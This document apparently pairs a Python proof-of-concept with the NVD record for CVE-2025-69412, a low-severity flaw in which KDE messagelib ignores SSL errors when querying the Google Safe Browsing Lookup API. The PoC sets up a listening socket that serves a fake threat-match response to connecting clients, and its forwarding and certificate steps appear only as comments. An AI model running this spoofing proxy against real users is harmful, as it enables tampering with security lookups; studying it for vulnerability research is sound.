CVE-2025-69412

# CVE-2025-69412 PoC - MITM Attack Simulation # This PoC demonstrates how an attacker could exploit the SSL validation bypass import ssl import socket import threading class SSLBypassPoC: def __init__(self, target_host="safe-browsing.googleapis.com", target_port=443): self.target_host = target_host self.target_port = target_port def create_mitm_proxy(self, listen_port=8443): """ Create a MITM proxy that exploits the SSL validation bypass This simulates an attacker intercepting HTTPS traffic """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', listen_port)) server_socket.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Target: {self.target_host}:{self.target_port}") print("[*] Waiting for connections...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): """ Handle intercepted connection and inject fake response """ try: # In real attack: forward traffic to target with self-signed cert # Application ignores SSL errors, accepting our fake certificate # Simulate fake Safe Browsing response fake_response = b'''{ "matches": [ { "threatType": "SOCIAL_ENGINEERING", "platformType": "ANY_PLATFORM", "threat": {"hash": "fake_hash_12345"}, "threatEntryType": "URL" } ] }''' # Send fake response to application client_socket.sendall(fake_response) print("[+] Injected fake Safe Browsing response") except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() def generate_exploit_payload(): """ Generate malicious payload that could be injected """ malicious_payload = { "cve": "CVE-2025-69412", "type": "SSL Validation Bypass", "description": "KDE messagelib ignores SSL errors for Google Safe Browsing API", "exploitation": "MITM attack with self-signed certificate" } return malicious_payload if __name__ == "__main__": print("=" * 60) print("CVE-2025-69412 - SSL Validation Bypass PoC") print("=" * 60) poc = SSLBypassPoC() poc.create_mitm_proxy()

{"cve": {"id": "CVE-2025-69412", "sourceIdentifier": "[email protected]", "published": "2026-01-01T00:15:40.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "KDE messagelib before 25.11.90 ignores SSL errors for threatMatches:find in the Google Safe Browsing Lookup API (aka phishing API), which might allow spoofing of threat data. NOTE: this Lookup API is not contacted in the messagelib default configuration."}, {"lang": "es", "value": "KDE messagelib anterior a 25.11.90 ignora errores SSL para threatMatches:find en la API de Google Safe Browsing Lookup (también conocida como API de phishing), lo que podría permitir la suplantación de datos de amenaza. NOTA: en la configuración por defecto de messagelib no se contacta con esta API de Lookup ."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://developers.google.com/safe-browsing/v4", "source": "[email protected]"}, {"url": "https://developers.google.com/safe-browsing/v4/lookup-api", "source": "[email protected]"}, {"url": "https://github.com/KDE/messagelib/commit/01adef0482bb3d5c817433db5208620c84a992b3", "source": "[email protected]"}, {"url": "https://github.com/KDE/messagelib/compare/v25.11.80...v25.11.90", "source": "[email protected]"}]}}